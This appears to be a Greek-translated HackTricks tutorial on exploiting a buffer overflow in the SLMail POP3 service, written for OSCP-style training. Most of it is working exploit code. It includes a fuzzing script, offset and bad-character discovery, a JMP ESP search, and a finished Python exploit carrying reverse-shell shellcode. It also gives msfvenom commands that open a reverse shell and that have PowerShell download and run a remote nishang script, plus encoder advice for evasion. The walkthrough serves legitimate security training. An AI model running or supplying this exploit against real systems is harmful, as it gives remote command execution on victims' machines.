Windows Exploiting (Βασικός Οδηγός - OSCP lvl)

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Tip

Ψάχνετε για post-OSCP kernel primitives; Οι σύγχρονες registry hive corruption chains για deterministic SYSTEM shells καλύπτονται εδώ:

Windows Registry Hive Exploitation

Ξεκινήστε την εγκατάσταση της υπηρεσίας SLMail

Επανεκκινήστε την υπηρεσία SLMail

Κάθε φορά που χρειάζεται να επανεκκινήσετε την υπηρεσία SLMail, μπορείτε να το κάνετε χρησιμοποιώντας τη Windows console:

net start slmail

Πολύ βασικό python exploit template

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110

buffer = 'A' * 2700
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port

Αλλαγή γραμματοσειράς του Immunity Debugger

Μεταβείτε σε Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK

Συνδέστε τη διαδικασία με το Immunity Debugger:

File –> Attach

Και πατήστε το κουμπί START

Στείλτε το exploit και ελέγξτε αν το EIP επηρεάζεται:

Κάθε φορά που σπάτε την υπηρεσία πρέπει να την επανεκκινήσετε όπως υποδεικνύεται στην αρχή αυτής της σελίδας.

Δημιουργήστε ένα pattern για να τροποποιήσετε το EIP

Το pattern πρέπει να είναι τόσο μεγάλο όσο το buffer που χρησιμοποιήσατε για να σπάσετε την υπηρεσία προηγουμένως.

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

Αλλάξτε το buffer του exploit, ορίστε το pattern και εκτελέστε το exploit.

Θα πρέπει να εμφανιστεί ένα νέο crash, αλλά με διαφορετική διεύθυνση EIP:

Ελέγξτε αν η διεύθυνση βρισκόταν στο pattern σας:

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438

Φαίνεται ότι μπορούμε να τροποποιήσουμε το EIP στο offset 2606 του buffer.

Ελέγξτε το τροποποιώντας το buffer του exploit:

buffer = 'A'*2606 + 'BBBB' + 'CCCC'

Με αυτό το buffer, το EIP μετά το crash θα πρέπει να δείχνει στο 42424242 (“BBBB”)

Φαίνεται ότι λειτουργεί.

Έλεγχος για χώρο για Shellcode μέσα στο stack

600B θα πρέπει να είναι αρκετό για οποιοδήποτε ισχυρό Shellcode.

Ας αλλάξουμε το buffer:

buffer = 'A'*2606 + 'BBBB' + 'C'*600

Εκτέλεσε το νέο exploit και έλεγξε το EBP και το μήκος του χρήσιμου shellcode

Μπορείς να δεις ότι όταν επιτυγχάνεται η ευπάθεια, το EBP δείχνει στο shellcode και ότι έχουμε πολύ χώρο για να τοποθετήσουμε ένα shellcode εδώ.

Σε αυτή την περίπτωση έχουμε από 0x0209A128 έως 0x0209A2D6 = 430B. Αρκετό.

Check for bad chars

Άλλαξε ξανά το buffer:

badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars

Το badchars ξεκινάει στο 0x01 επειδή το 0x00 είναι σχεδόν πάντα κακό.

Εκτελέστε επανειλημμένα το exploit με αυτό το νέο buffer αφαιρώντας τα chars που βρέθηκαν άχρηστα:.

Για παράδειγμα:

Σε αυτή την περίπτωση μπορείτε να δείτε ότι you shouldn’t use the char 0x0A (τίποτα δεν αποθηκεύεται στη μνήμη επειδή ο char 0x09).

Σε αυτή την περίπτωση μπορείτε να δείτε ότι the char 0x0D is avoided:

Βρείτε ένα JMP ESP ως return address

Χρησιμοποιώντας:

!mona modules    #Get protections, look for all false except last one (Dll of SO)

Θα καταγράψεις τους χάρτες μνήμης. Ψάξε για κάποιο DLL που έχει:

  • Rebase: False
  • SafeSEH: False
  • ASLR: False
  • NXCompat: False
  • OS Dll: True

Τώρα, μέσα σε αυτή τη μνήμη πρέπει να βρεις κάποια JMP ESP bytes — για να το κάνεις, εκτέλεσε:

!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case

Στη συνέχεια, αν βρεθεί κάποια διεύθυνση, επιλέξτε μία που να μην περιέχει κανένα badchar:

Σε αυτή την περίπτωση, για παράδειγμα: _0x5f4a358f_

Δημιουργία shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'

Αν το exploit δεν λειτουργεί αλλά θα έπρεπε (μπορείς να δεις με ImDebg ότι το shellcode έχει φτάσει), προσπάθησε να δημιουργήσεις άλλα shellcodes (msfvenom για να φτιάξεις διαφορετικά shellcodes με τις ίδιες παραμέτρους).

Πρόσθεσε λίγα NOPS στην αρχή του shellcode και χρησιμοποίησέ τα μαζί με το return address για JMP ESP, και ολοκλήρωσε το exploit:

#!/usr/bin/python

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110

shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)

buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port

Warning

Υπάρχουν shellcodes που θα επαναγραφούν, επομένως είναι σημαντικό να προσθέτετε πάντα μερικά NOPs πριν από το shellcode

Βελτίωση του shellcode

Προσθέστε αυτές τις παραμέτρους:

EXITFUNC=thread -e x86/shikata_ga_nai

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks